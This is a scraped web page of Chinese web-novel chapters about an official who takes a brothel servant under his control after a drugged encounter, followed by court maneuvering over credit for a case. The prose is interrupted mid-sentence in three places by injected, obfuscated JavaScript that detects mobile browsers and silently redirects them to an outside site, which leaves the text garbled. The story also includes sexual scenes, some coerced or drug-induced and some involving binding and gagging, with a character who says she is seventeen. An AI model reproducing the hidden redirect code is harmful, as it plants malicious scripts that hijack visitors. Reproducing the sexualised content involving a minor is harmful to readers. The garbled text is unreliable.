此时地窖中,谢庭钰为防弄琴在慌乱之下弄出什么动静,紧紧钳制住她,大手捂住她的嘴,直到后厨再无其他动静,才低声在她耳畔说话:“你别怕,是我。现在外头危险,一会儿我松开手,你不要叫喊,知道吗?” 听到熟悉的声音,她松了一口气,连忙点点头。 放开她后,他的双手握住她的手臂,控制不住心急地问她:“你脸上的血是怎么回事?身体怎么这么热?出什么事情了?先不要哭,一五一十地告诉我。” 弄琴起初以为这个钳制自己的人又是一个恶徒,恐惧到周身抑制不住地发抖,热泪滚滚落下,恨不得先哭死在这里。 随后发现原来是认识的人,紧绷的弦骤然松开,在这短短的一两个时辰内,她经历了几次大起大落,此刻脑子一片混乱,难以组织起一句完整的话。 外面鼎沸般喧闹,在稍显寂静的地窖里,谢庭钰听着她压抑的哭声,听得一阵心慌意乱,无可奈何地说:“行,哭够了再说吧。” 她心情平复得很快,这时已经在脑海里组织语言,啜泣道:“我被外面的动静吵醒,就想着趁乱离开醉花楼。” 她竭力保持平静地推开他的手,掖着袖子抹去脸上的泪水,往后退了一步与他拉开距离,摸着身后装菜的木筐,背靠在上面歇息。 “这个地窖的东南处有一个出口,是后厨为了方便运送食材开的,一般人不知道。公子先行离开,我跑得累了,歇息一会儿再走。” 说话间,她的每一次喘息都十分粗重,仿佛是真的是太累了,累到要得病一样。 “脸上的血是怎么回事?”他的语气很淡。 “跑的时候摔了一跤,大概是那时磕伤了。” “你的身体很烫,不像是跑动引起的。” “可能是受了风寒。离开醉花楼后,我会去看大夫的。” “难受吗?” “还承受得住。”她强忍着药物的折磨,握紧拳头,以致指甲几近嵌进掌肉里,“公子快些离开吧。” 听着她的催促声,他不动声色地站到她面前。“我不走,你也不能走。” 昏暗中,她愕然抬头看他。 “醉花楼里有清净门的余孽。你也是醉花楼的人,我走了,你去通风报信怎么办?” “我不是……” “是不是,查过才知。”他知道她不是,但她明显有许多事情瞒着他,这让他感到生气。 她颓唐地叹息一声,接着飞快朝谢庭钰洒了一把蒙汗药。 即便只剩五成武力,他依然能轻而易举侧身,扬手挡开她的手腕,让那些蒙汗药落到地上。 他攥住她的手腕,另一只手取出火折子,大拇指扣开木盖,往火折子一吹,一簇橙黄莹亮的火焰烧了起来。 他的动作太快,快到等她反应过来时,眼前是一道火光,火光后是一张半明半暗的神色凌厉的脸。 他盯着这个近在咫尺的姑娘,发现原来她脸上的血渍呈喷溅状,其中脸颊及鼻梁处有被涂抹的痕迹。 这一看,就什么都懂了。 他轻声问她:“你杀人了,是不是?” 焰火跳动,长影移晃。 他看着她脸上的神情由惊愕惶恐变得释然哀伤。 事已至此,她长长地舒了一口气。“我不确定他死了没有。只看到他倒在地上不动,我就跑了。” 又回忆起恶心的事情,她抬手用袖子胡乱地擦拭脸庞。原先绷紧的身体一松懈下来,站都站不稳,止不住地往下坠。 听着她说一半不说一半的话,他气愤地咬了一下牙,伸手揽住她的腰稳住她,警告道:“是要等到官府大堂上,你才肯说清楚吗?” 她被药物折得有些神志不清,被他这么一训斥,突然发起狠来,揪着他的衣襟低吼道:“大人,外头这么乱,就当是你说什么清门杀的不好吗?!让他们都去死不可以吗?!” 她那点狠劲到这里就用完了,揪着衣襟的手一下就卸了力,悲戚地淌着泪,语调哀柔地求他:“您高抬贵手,饶我一命,放了我吧……” “你要脱罪,就事无巨细地告诉到底我发生了什么。” 她讶然地看向那双映着火光的星眸,思考片刻,就将今夜自己遇到的事情说与他听。 从绣月房里出来后,她才发现自己的身体不对劲,像是被下了合欢散之类的药物。 她警觉起来,从怀里抽出一支金发簪捏在手里防身。 回到林道时,一个男人从树后窜出来,抱起她就往僻静处走去。等他刚把她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她可不高兴他这么假惺惺,双臂环住他的脖颈,施力往下一压,即便药物作用下用的力道轻微,也足够让他低下头凑近自己。 她撑着他的脖颈处受力,踮起脚尖,让自己的唇瓣与他的双唇不过一个大拇指盖距离。 “大人不松手的话,我就要吻你咯。” 他动也不动。 “三。” “二。” “一。” 倒数结束,她吻上他的唇。 原以为是狐狸逗弄兔子,实际却是羊送虎口。 还是一只垂涎羊肉多时的猛虎。 火折子被按灭,当啷落地。 轻薄的春衫渐渐落地。 明月被逐渐聚集的乌云遮蔽,小仓库的火还在熊熊燃烧,四散的缠斗刀枪争鸣。 在一处无人知晓的暗处里,也有一场力量悬殊的“战斗”在进行,且随着天边渐渐飘落的雨而越演越烈。 长枪直入缝微处,推破城门寻殿去。雨将云兵战场兴,花营锦阵,舌剑唇刀,呜咽惊颤不得语。风驰电掣,水浸城殿,更夜不尽到巫山。 一场夜雨慢慢歇了。 小仓库的火被大雨浇熄了,也塌了,或浓或淡的白烟从各处炭枝澶漫而出,浮荡在依旧黑沉的夜色里。 谢庭钰穿好衣衫,离开前回头看了眼躺在草铺上失去意识的弄琴,然后掀开木板,出了地窖。 5. 第 5 章 四更天。 曹子宁举着火把,引着刚汇合的谢庭钰一同来到刘大人跟前。 刘大人一见谢庭钰,那是头发凌乱,衣衫发皱,身上还有好几道大小不一的血口子,“哎呀”一声,急忙上前关心道:“将军怎么弄成这样子了啊?” “嗐。”他没甚所谓地摆摆手,“不过遭了埋伏,中了软骨散。休提。——那厮人呢?” 说的是那清净门的门主。 “快去请大夫来。”说罢,刘大人扬手为他引路,“将军随我来。” 一忙就忙到天边泛起鱼肚白。 谢庭钰避开他人,循着记忆重新回到地窖。 四下一看,人消失得无影无踪。 郊外树林。 弄琴气喘吁吁地穿梭在高大的林木间。哪怕双腿酸软到快没有知觉,她也依然不敢有半刻松懈,只想着离醉花楼越远越好。 咻—— 一支利箭疾速飞来,凶狠地钉在她稍前边的草地上。 “啊!” 她吓了一跳,周身瘫软地坐倒在地上,接着听到身后传来一阵快速逼近的马蹄声。 她颤着心肝回头一看,顿时吓得要五脏俱裂——换了一身暗绿色圆领袍的“李公子”,驾着一匹油亮的大黑马,英姿勃发,神色凌厉地朝她而来。 想再跑已经来不及,这一停下来,她就再也抬不起一点力气了。 “吁——” 谢庭钰高举缰绳勒停黑马,冷眼睨着靠在树下蜷缩成一团的人,隐含怒气地说:“我是不是说过,要你等我回来。” 弄琴抱紧怀里的褐色包袱,惴惴不安地望着他。 原先被刻意忘记的旖旎记忆瞬间在脑海里涌现,他是说过,在她快要被他弄得失去意识前说的。 但她不想等,也不想跟他再有纠葛,不想从一个醉花楼跳到另一个“醉花楼”。 见她不应声,谢庭钰翻身下马,走上前半蹲下来打量她,可见她走得实在匆忙,一头长发只用一根布帛扎起,衣衫穿得胡七八扭,连他离开前盖在她身上的月白汗衫都系了进去,长而宽的袖口皱巴巴地堆到手腕边。 “谁准你跑的?”他伸手攥住她的手腕,“你伤人放火,对我行不轨之事,我都没好好跟你算账呢。” 他说着就要拉她起来。 她立刻往后坐,一边用手推他的手臂,一边哀求他放自己走。 他跟拎小鸡仔一样把她拉起来,将她一把抱上黑马。 他坐在她的身后,长臂握住缰绳,将她环抱在自己怀里,一甩缰绳就驾马往回跑。 马跑得急,才起步她就被颠得十分难受,哭着拍打他的手臂,想让他停下来。 “痛……” “哪里痛?”他勒停黑马,侧头问她。 见他靠过来,她别过头,咬着嘴唇,过了一小会儿才忸怩羞涩地小声说:“下面……那个地方……颠簸太重会很痛……” 他登时明白过来,于是放缓了马行的速度,还带着一点不好意思地问她:“现在呢?” “好多了。” 他适时又往前坐了一点,让她能把背靠到他的胸膛上。 她实在太累了,很快就窝在他怀里睡着了。 等再次醒来的时候,她只觉得精气神恢复了不少,身体也爽净多了,睁眼看着幽静宽敞的房屋,舒适地伸了一个懒腰。 “醒了就自己起来倒水喝。” 一直守在榻前的谢庭钰说完,就伸手从桌上的果篮里挑了一只圆润饱满的苹果,拿起小刀就开始削皮。 她歪头看闲情逸致坐在木榻旁边的郎君,他又换了一身干净的常服,霜白色的春衫将他衬成古画里的温润君子。 呸,卑劣下作的伪君子才是。她暗自腹诽一句,但是顺从他意地坐起来,拿起榻前的瓷壶给自己倒水喝。 水是温的,喝完一杯整个人都舒服了不少,于是她又给自己斟了一杯。 喝了一半,她低头看了眼身上已经穿戴整齐的里衣长裤,用试探的语气问道:“这身衣服是……” “找了两个嬷嬷给你擦洗换衣的。”他扫了她一眼,“你还指望我伺候你不成?” 她不吭声,只摇摇头。 一条长长的且中间不断的苹果皮落在木盘上,他用小刀切下一块月牙形的苹果块,接着让她用木盘上的湿布帕净手。 “自己拿着吃。”他将削好的苹果递过去,其中切下来的苹果块往前伸出一截,方便拿取。 她看了他一眼,然后拿起那块苹果块咬了一口,清爽脆甜。 见她如此听话,他情不自禁地笑起来,看着面前这张洗净脂粉的脸,说:“你这敷粉技艺也是高超,我竟然一点也没发现先前你那张寡淡的脸是自己遮出来的。” 她吃掉最后一口苹果,垂头看向榻上的锦枕,披肩的长发垂落,遮住一半的秀脸。 “现在也寡淡。”她说。 “明珠蒙尘。”他又切下一块苹果块递过去,“但也是明珠。” 她抬头看他,一双秋水眸闪着些微悦意,自觉拿起那块苹果吃起来。 这时谢庭钰再看她,忽然诗兴大发:“清水芙蓉璞玉出,顽石如逢也点头。” 她表情懵懂:“唔……听不懂。” 他顿时兴致消散,青白着一张脸。“听不懂就算了。” 她继续低头吃苹果。 屋内只剩切苹果和吃苹果声。 因而他又挑起话题,问她:“我发现你从昨夜开始就不自称奴婢了。” “离了醉花楼就不是了。” “奴籍未脱。” “大人呢?”她直直与他对视,“也觉得我该是奴婢吗?” 确实没想到她会有此一问,所以他愣了一下。 可以有很多种回答,但他觉着她这人心性非同凡响,出于好奇,便是用官府中人的端正语气回道:“既然是奴籍,自然是奴婢。” 她的表情没有什么变化,风轻云淡地应道:“嗯。我觉得自己不是就不是。” 他笑了一下,应和她说:“好。你不是。” 她回眸与他四目相对,一瞬间觉得他的笑容如沐春风,好像有点喜欢他了。 “既然你诚心求我,那我就勉为其难帮你脱籍罢。”他十分大度地开口。 “我没求……”其实她想过的生活比较特殊,脱不脱藉都无所谓,但她已经见识过他的脾性,只好应下了他突如其来的好意,“实在是劳烦您了。” 他“嗯”了一声,说:“并不是白帮忙。我这边暂时缺一个帮工,你且顶上罢。” “嗯。”她就知道。 “我这宅子没有多余的空房了,你就睡在这里。何员外和纵火醉花楼的事情,我会帮你摆平。” “嗯。” “还有,”他的神色严肃起来,“给我忘掉昨夜在地窖里发生的事情。是你有错在先,诱我与你苟且。” “我是不会对你负责的,既不会娶你,更不会纳妾。你不要痴心妄想,安安分分地打下手。等事情结束,你就自行离去罢。” 听了他的话后,她朝他点了下头,接着为了表示自己的诚意,又补充一句:“大人放心,我不是那种厚颜无耻的人,是绝对不会纠缠你的。” 见她的态度如此端正坚定,措辞如此铿锵有力,他非但没有放心,反而起了一股无名火,从心里瞬间烧到天灵盖,气得他一口气梗在喉咙里,难受得很。 手上的苹果切到一半就切不下去了,他恼羞成怒地搁下小刀和还剩三分之一的苹果,歘的一下站起来,厉声厉气地对她说:“你最好说到做到。——自己把苹果吃完,不许浪费。” 一说完,他就拂袖而去。 她拿起剩下的苹果,靠在柔软的被褥上慢慢吃起来。 他的心思其实不难猜,但她并不想顺他的意。她的心里是有那么一点喜欢他,可她不会因为这点喜欢就放弃即将到来的自己期望了多年的生活。 她长年累月地克扣自己,力气虽有些,但身体的底子还是差,前年去看大夫,大夫还劝她不好好调养,怕是日后再难有孕啊。 与这么一个郎君云雨一晚,涨了男女之情的见识,褪了合欢散的折磨,还不用忧心有了孩子怎么办,挺好的。 她看向窗外随风摇曳的竹影,少有的觉得心情通透畅快,一想到再过些日子,熬过这阵风头后,自己就可以自由地遨游天地间,嘴角就情不自禁地弯起来。 入夜。 就寝前,谢庭钰唤她来给自己换药。 她身上穿着他吩咐管家准备的衣服,听从他的指挥调配药糊。 她靠过来的时候,一股淡淡的皂角清香夹杂着少女自有的浅浅馨香扑面袭来。 他那原本舒展地搭在膝盖上的手指突然蜷缩起来,做贼心虚地努力维持平稳呼吸,没话找话道:“你很熟练,之前还给谁上过药?” “都是醉花楼里的姑娘。有时是被客人弄的,有时是被林妈妈打的。”她一边小心上药,一边应付爱摆官威的“青天大老爷”。 “你被打过吗?” “十岁后就没有了。” “今年多大了?” “十七。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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用过早膳,谢庭钰让她随自己去书房一趟。 走出正房,她这才得以一窥宅子的布局,三间小抱厦,左右两个耳房,东西各三个厢房,再往前还有空间。 她略落后于他半步跟在他身后,见了如此宽敞的宅院,实在没忍住问了一句:“大人,您这里真的没有别的空屋了吗?” 大人头也不回地说:“你好大的胆子,说这种话是要以下犯上查探我的地方吗?” “没有没有,我就是随便问问。” 欸,完全不是对手。 进了书房,谢庭钰抽出一张宣纸,提墨先在宣纸上方写下一行小字,随后在小字下方挥笔写了三个大字。 上行小字曰: 灯落苔青地,晦月花下柔怯容。风淅淅,一夜海棠惊雨。 三个大字曰: 棠惊雨。 他一一向她说来,然后问她:“棠惊雨,这个名字你喜欢吗?” 他看向她的表情暗含期待。 “嗯。喜欢。”她说。平淡地说。 他沉下脸。“你这是喜欢的态度?” “大人取的名字必定好听,用意也必定幽深。”她诚实道,“只是我看不懂。理解不了。” 想想也是,她大字不识几个,哪知道这四句词美在何处,哪明白这名字美在何处。 谢庭钰叹息一声。“罢了。你自己记着。先练自己的名字,再多读些书,日后会懂的。” “大人说的是。” “我会教你。” “啊?”她猝不及防地抬头看他,表情不太乐意。 “你好大的架子啊。”他将竹节笔摔进古陶水盂里,“我当年可是殿试第一,还不够格教你是吗?” 她瞧见原先清澈的古陶水盂迅速变成黑水,连忙摆摆手,小心翼翼地讨好他:“够的……惊雨只是太高兴了。” 他斜眼上下打量了她一番,好歹乖顺听话了不少,心里舒坦了不少,又抽出两张宣纸,一张写道“谢庭钰”,另一张写道“玄之”。 “这是我的名——谢庭钰。”他先指“谢庭钰”,后指“玄之”,“这是我的字——玄之。” “你可记住了?”他抬手点一点她的额头。 棠惊雨点点头:“记住了。” 其实根本没往心里记。 他再如何,与她来说也不过是一个人生中的过客,既然一定要别离,就没必要记得这么牢。 6. 第 6 章 既然清净门的事情已了,返京的事情也不能耽搁太多,故此谢庭钰吩咐下去,这两日即将启程离开锦州。 刘大人听闻此事,连忙送了两位才貌双全的美人到谢庭钰暂住的宅院,言之以慰将军近日辛劳和将来路途苦闷。 谢庭钰大方收下,然后笑容温和地问起她们都叫什么,都会什么。 红裙女子叫“红酥”,擅琵琶;绿裙女子叫“绿玉”,擅古琴。 于是他便让她们在书房,给他弹了一个下午的曲儿。 黄昏时分,谢庭钰问了她们爱吃的什么菜,爱喝什么酒,然后吩咐管家李达,按她们的喜好设宴摆席。 与她们闲谈风月地吃喝一顿后,又给她们送了不少当下时兴的金银首饰,最后谢庭钰吩咐曹子宁安排几位将士,将她们安全护送到刘府。 吃喝玩乐都有了,但是该干的事情一件没干。 愁得刘大人和孙军师一夜没睡。 临行前一晚,刘大人与知交唐员外一起,在甘碧山庄上大摆欢送宴,请谢庭钰及一众将士饮酒玩乐。 欢送宴十分用心,不仅有“三国故事”评书,还有各式傀儡戏、走索、丸剑等杂耍百戏,热闹程度堪比锦州的元宵佳节。 实则除了有唐员外的手笔,也是锦州百姓知道他们为除清净门这一邪恶势力付出良多,特地筹钱又请了不少瓦肆技艺,送上锦州特色美食,让他们玩个高兴。 孙军师却知谢将军统领下的神武营将士们纪律严明,即便是如此高兴的时刻,也不能不管不顾地放肆喝酒、放肆玩乐,因此特地设计了诸如角抵博弈、投壶、射箭果子等军中消遣的小型比赛,让他们在符合将军要求的情况下玩个尽兴。 几轮春酒饮完,刘大人觉着时候差不多,独邀谢庭钰前往位于半山腰的观星亭赏月。 刘大人与谢庭钰共事了一段时间,非常欣赏这位英才少年,也知道对方是一个敞亮人,闲谈两句后,他就开始试探道:“前日红酥和绿玉是不是哪里惹将军不痛快了?将军千万不要顾虑她们是我的人就纵容她们哦。” 谢庭钰笑道:“这是哪的话?她们与我相处甚欢,快乐得很。刘大人可不要拿我当借口责罚她们呐。” “没有没有。”刘大人搓一搓手掌,“哎呀我就是——” “说起来还没好好谢谢刘大人呢。”谢庭钰朝他举起酒杯。 “哦?”刘大人连忙拿起举杯。 二位先碰了一杯,将酒一口饮尽。 谢庭钰搁下酒杯才说:“你将二人送来时说要慰藉我近日的辛劳与缓解返京路途的苦闷,实在用心。 “那红酥、绿玉技艺超群,合奏的《临江仙》《醉花阴》《江月明》等曲儿,真是令人闻之心旷神怡,如登瑶池仙境,简直一扫连日劳累,整个人如焕新生。 “我先前有只曲子名《飞泉引》一直弹不明白,经她们俩一点拨,马上懂了,又让她们教会我《梅花弦》和《清风送酒》两只曲子。如此一来,返京路途将不再苦闷。” 听他滔滔不绝地说完,刘大人干笑两声,提着酒壶给二人各自倒了一杯酒。 “欸,光喝酒没意思。”谢庭钰左右看看,去摘了一片新鲜碧绿的叶子回来,“我吹首《飞泉引》与你听。” 此情此景,当是: 明月山间照, 清音耳畔流。 良友幽亭坐, 千金如此乐。 一曲毕。刘大人连连夸赞,还不太好意思地说:“想不到将军这般高雅意趣,倒是我粗俗,狭隘了哈哈。” “哈哈。”这回轮到谢庭钰笑,“刘大人才是高看我了。” 他当着刘大人的面,四下看了看,然后倾身靠近刘大人,语调稍稍降低了一些,伴着风声对刘大人敞开心怀:“不怕刘大人笑话。我在凉州三年守身,不是因为凉州无佳人,而是为了日后返京,好求娶家世显赫的高门贵女。 “我出身寒门,父母皆亡,想要得到贵女的青睐,自然要守节得体、身家清白,在诗词曲乐上多下些功夫,日后在妻子面前也能是个知趣的人。 “琴瑟和鸣,举案齐眉。不管是在外的名声,还是在老丈人家里,都对我往后的仕途大有裨益。” 说到此处,他稍稍停歇,端起酒杯与听得津津有味的刘大人碰一杯,饮完杯中的酒后,才继续道:“为百姓做事自当是鞠躬尽瘁,死而后已。但这功名利禄——哎,真不怕你嘲笑——我也是真想要。谁不想站在山顶上看风景呢?” 这下轮到他来给刘大人斟酒,语气带着些微讨好:“刘大人在清净门一案上厥功至伟,但我也帮了一点忙嘛,届时上呈奏折,刘大人可不要忘了替我在陛下面前美言几句。” 这一番长篇大论说完,刘大人是彻底放心了,兴高采烈地拍拍谢庭钰的肩膀,朗声答应道:“嘿!说那话!这功劳有我一份,就有谢兄一份!咱可不是那种忘本的人呐!” 喝完几杯酒后还不尽兴,刘大人又调侃似的说:“我要是有谢兄这个心性定力,这个身姿容貌,我也是——哎不说不说,家中夫人和两房妾室管得忒严,这话你听完就忘,可千万别让她们知道,否则我可没有安心日子过了。” 谢庭钰跟着笑,答应道:“我方才的一番拙论,刘兄才要守口如瓶。” 二人在观星亭里,再无隔阂、芥蒂地饮酒说笑。 谁人不爱功劳,但功劳太多,也未尝是件好事。 清净门的案子,刘大人劳心费力多时,临了若不是缺了精兵猛将,也不会求到谢庭钰面前。 他还要赶去玉京面圣,如何也要比刘大人处理完整宗案子且抄录上呈卷宗的速度快。 官海浮沉,哪个不是走一步思十步的?刘大人怎么能不担心谢庭钰在面圣时抢下清净门的主要功劳? 谢庭钰此时回京是受封赏的,又得皇上青睐,同僚的几位更是朝中重臣的子弟,那日后他留在玉京,可谓是前途无量,花团锦簇。 如果他硬要揽下清净门的功劳,玉京里谁敢置喙一二? 刘大人自然不想辛苦为他人做嫁衣,也不好得罪这位权臣,于是想了一个法子,送去两位美人对其试探一二。 那天一看这两位美人,谢庭钰就清楚怎么一回事。他正好也在找机会要跟刘大人表明自己志在高处,不会与其抢功。毕竟官场上,多个朋友好过多个敌人。 再说了,白玉无瑕虽美好,但极容易被孤立攻击,白玉有暇反而令人放心。故此谢庭钰在官场往来时,惯常展露一些无伤大雅的缺点,要各位同僚宽心,他也不是什么大圣人。 于是顺水推舟,到了今日,在这清风明月下,谢庭钰跟刘大人一番抒意,将话摊开来讲,要刘大人放心去处理清净门的案子。 刘大人得了准信,是连夜回衙门查案去了。 差不多亥正时分,宴席就散了。 奕国不设宵禁,于是有些将士要回驿站休息,有一些就要去锦州的夜市逛逛。 谢庭钰不凑热闹,自个儿骑马回去了。 慢行的一路上,他回想方才与刘大人所说的话也不是戏言,确实是他心中所求。 想要在玉京的官场里立足,光是靠自己是远远不够的,背后有个世家大族依靠,才叫一路坦途。 昔年父母离世时,他才十三岁,为了谋生和考取功名,什么苦都吃过。 当年请旨去凉州,一是凉州三年能抵州官十年功劳,二是三公主有意下嫁与他,他不想成为没有实权的驸马爷,便借凉州一行一箭双雕。 他心目中理想的妻子,是一个言之有物,德才兼备的世家小姐,最好是能在他每日回家后,与他谈笑风生。 所以,他在心中告诫自己,切勿因小失大,被一时的粉红骷髅迷了眼,就忘了即将到来的玉锦繁华,要早早跟棠惊雨割席才是。 他这么想着,然后在牵马走过一道桥时,忽然闻到夜风吹来的一阵浓郁甜香。 循着香味望过去,不远处有一个食摊,摊前排了长龙,个个都舔着嘴巴翘首以盼。 他一时好奇,上前问了一个路人:“那个摊子卖的什么?” 路人回:“那是张家新出的樱桃饆饠,可受欢迎了。公子想吃的话要赶快排队了,再晚一些就要卖完了。” 一排就是一盏茶的时间。 幸好这里距离他的租住的宅院不远,骑马几步路就到了,下马时,那樱桃饆饠还烫手。 他衣衫也没来得及换,步履匆匆地往书房去。 去甘碧山庄前,他就吩咐棠惊雨,他没回来前她不准就寝。 一看,人果然在书房练字。 他上前一瞧,瞧着宣纸上自己的名字被写得歪七扭八,丑得一塌糊涂,霎时眉头紧皱,摆手道:“算了。等你把字练好了,再写我的名字吧。” 棠惊雨“哦”一声,搁下笔,将那张写得丑兮兮的宣纸拿开。 他将油纸包着的樱桃饆饠搁到她手边。“嗱,路上随便买的,你先替我尝尝好不好吃。” 她先去一旁净手,然后打开油纸,要伸手去拿时,他喊了一句“小心烫”。 她粗活干多了,这点烫对她来说不算什么。 见她已经咬了一口吃起来,他立刻状似不经意又十分在意地盯着她,问道:“怎么样?好吃吗?” “嗯。”棠惊雨点点头,“很脆,很香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147877|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很甜。但是吃多了可能会腻。” 于是他给她倒了一杯茶。 见她吃完一块,他问:“还吃吗?” 她端起茶摇摇头。 这樱桃饆饠一共就三块,他就懒得去净手了,只能托起油纸,隔着油纸拿起就吃。 她取了一只茶杯,也给他倒了一杯茶解腻。 梳洗完毕。 棠惊雨照例给谢庭钰上药,包扎伤口。 熄灯前,二人隔着墨灰色帷幔就寝。 熄灯后…… 白日里的正人君子,就化成了变态阴湿鬼。 连着几日,棠惊雨不想再被绑和塞绸帕了,忍住困意等到一道黑影立在面前时,骤然起身对那黑影说:“不要绑我。我不出声,任你玩。” 她不知道这样的话对于一个要开荤的男人来说,有多诱惑。 不绑也好,这样姿势能够更加灵活多样,还能与之缠绵亲吻。 今夜之兴奋较以往更甚。 脑子活络的郎君在床笫之间可谓是进步神速,这才一次她就受不了了,颤着双腿要跑,却被他一把攥住脚腕,扯回来继续癫狂。 * 一行人到了景阳的驿馆歇脚休整,过两日再启程。 因为恰好也想离开锦州,所以棠惊雨就随着谢庭钰一齐来到了景阳。 依旧是没有多余的空屋,依旧是与他同住,依旧是她睡榻,他睡床。这一回还没有帷幔相隔。 入夜后,棠惊雨给他奉茶,与他商量:“到了景阳,是不是可以与大人告别了?” 他一听“告别”这两字就不舒服,搁下书,冷眼瞧她:“良籍不想要了?” 哦对,那文书还压在他手上。 “那大人要什么时候才能给我?” “再等等吧。我现下还需要人手,目前除了你,没有信得过的人。” “好吧。”她的语气稍显失望。 谢庭钰的语气不耐:“今日的字练了吗?” “现在就去。” 熄灯后,又是一场幽谷云雨。 管家李达原先是谢庭钰在锦州时临时聘用的管家,后来发现他做事利索,人也伶俐,就一同带去玉京了。 李达得知现在跟着的主子是一个怎样厉害的人物后,别说多高兴了,按着他的吩咐忙前忙后,购置了一批新衣裳整理好,送到谢庭钰的屋内。 李达说:“还是跟之前一样,款式简单,色彩温和的衣裳。还有宽敞舒适的马车也准备好了,我还多买一些软垫,可以让车厢里的人坐着更舒服。” 李达很会察言观色,他从未听主子说起过棠惊雨的身份,甚至一路随行的人里,知道她存在的人都没几个,所以他只用“车厢里的人”指代她,也不特地说什么“姑娘”、“女客”之类的代称。 谢庭钰满意地点下头:“嗯。下去吧。” 四面木雕曲屏后的棠惊雨,两耳不听窗外事地埋头练字。 谢庭钰喝了口茶,悠闲地看书,突然想起什么似的,骤然蹙眉。 有了李达的态度对比,棠惊雨的表现实在令他不满。 他是因为想要逃避现实,才专门等到入夜熄灯后,也不准她出声说话,假装是一场春梦地行事。 她这个当事人白日起来见他,居然也是这样的一副态度。 当真是一言既出驷马难追,说了绝对不纠缠就真的是毫无糜艳心思,甚至还迫切地想要与他告别。 不可饶恕! “棠惊雨,过来给我换药。”他忽然命令道。 “知道了。”棠惊雨搁下笔起身。 虽然不清楚他为什么突然要在午后这个奇怪的时辰换药,但她早就领教过此人的恶劣,也不多说什么,一一取出要出的药品和用具,端着木托走到他面前。 “替我脱衣。”他坐着张开双臂。 以往都是他自己脱了上衣,等她来换药,这次却…… 棠惊雨稀奇地看了他一眼。 “现在叫你做点事都不行了?”他语气不善地盯着她。 “没有。只是担心我手笨脚笨,碰到大人的伤口。” “我怕不怕痛,你不知道?” 夜晚这么癫狂都不见喊过疼,脱个衣服更无所谓了。 只是他平时将白日和夜晚分得泾渭分明,如今突然来这么一句,她根本不知道接什么话好,心里莫名发紧。 但她不接话,他又会继续追问,所以只好说:“大人神勇无双,是我狭隘了。” 他恼怒地“哼”一声。“行了,速速换药。” “是。” 棠惊雨搁下木托,伸手去解他的衣带。 7. 第 7 章 上衣解开,即便缠着绷带,也能轻易看出是宽肩窄腰,胸肌饱满,腰腹紧实的好身材。 谢庭钰自然满意自己身材,遥想在凉州时,大伙脱衣去河里洗澡,他也是被人见人夸的。 但他垂眸去看棠惊雨,她那表情跟块木块一样,看他的眼神也当他是块木头一样。 一股无名火从心口噌噌噌烧遍全身。 他呵斥道:“把你那觊觎垂涎的肮脏眼神给我收一收。” 棠惊雨刚给他拆完绷带,听他这么一说,莫名其妙且带着点委屈地说:“我没有……” “还说没有?我看得分明。你刚才在脑子里想什么龌龊的事情?” “我……什么都没想啊……” “撒谎!”他义正辞严,仿佛她是一个罪大恶极的人,“你那阴湿的目光在我的上身流连,你还说自己没有任何企图?” “大人,我真的没有……”棠惊雨见他是真的生气,想了想,又说,“不然我去请管家给你换药吧。” “给我回来!”见她转身要走,谢庭钰大喊一声,咬牙切齿。 棠惊雨耷拉着肩膀走回来。她想他可能是遇到什么不高兴的事情,所以现在在拿她出气呢。 “我说过,要你不要痴心妄想,我是不会带你回京,更不会把你养在府里的。” “是,惊雨知错了。”她也懒得解释反驳,低头认错便是。 她这一认错,更是将他气得火冒三丈。 啊——她真的一点,哪怕细如牛毛这样的一点想要留在他身边的心思都没有! 他气得一下就站在起来,双手叉腰在床前踱来踱去。 她就低头看脚尖,双指交缠搁在身前,思绪开始神游。 春日的午后熏风从未关紧的木窗吹拂进来,搁在书案上的书页被风吹得哗哗作响。 谢庭钰回头看木头一样杵在那里的姑娘。 她身上穿着他叫人买回来的春裙,水绿色的软烟罗,被灌进屋里的春风轻轻扬起,裙摆飘飘袅袅,姿态风流。 好吃好喝供养着的身子越发莹润绰约,袅娜纤巧,再看那柳腰,简直是催人命的刀。 他那一身的火气骤然降了大半。 被风垂落的鬓发扫拂在脸上,她觉得有些痒,抬手将落发别到耳后。 她站也不好好站,垂头看着绣花鞋鞋头上的梨花绣纹动了动脚,那身姿态在如醉的春风里洋溢着千种风情。 一股不是怒火的火烧遍他的全身,上上下下,里里外外。 他从乌木圈椅上抽过一条绀青色勒帛,冷肃着一张脸重新坐回架子床上,吩咐道:“过来换药。” 棠惊雨便重新走了过去。 “你看我的目光令我不喜。”他拿起那条勒帛递给她,“蒙上眼,再给我上药。” 棠惊雨瞪大双眼看他。“大人,这……” “不听话是吗?” “不是。” 猜他是存心要刁难自己了,她咬着牙只好系好,心中已经做好了要一直被骂的准备。 看不见,只好用手摸。 担心碰到他的伤口,她有点紧张地抿起唇,缓缓伸手,触摸他的胸膛,指腹在紧实的皮肤上滑动,摩挲伤口的位置。 在黑暗中,触觉变得尤为敏锐。 很快她就碰到了伤口,问他:“大人会疼吗?” 他的嗓音藏着微微的愉悦:“没让你停就继续。” 醉花楼里待了这么多年,她几乎是立刻察觉出他的意图。 哪怕明知现在是白日,明知他这人只在夜里浑浪,但那一瞬间,她还是退缩了,收回了手指,却立刻被他攥住手腕一把扯回去,手掌按在他的胸膛上。 “我让你停了吗。”训斥声随即响起。 她的声音有点紧张,隐晦地提醒他:“大人,现在还是白天呢。” 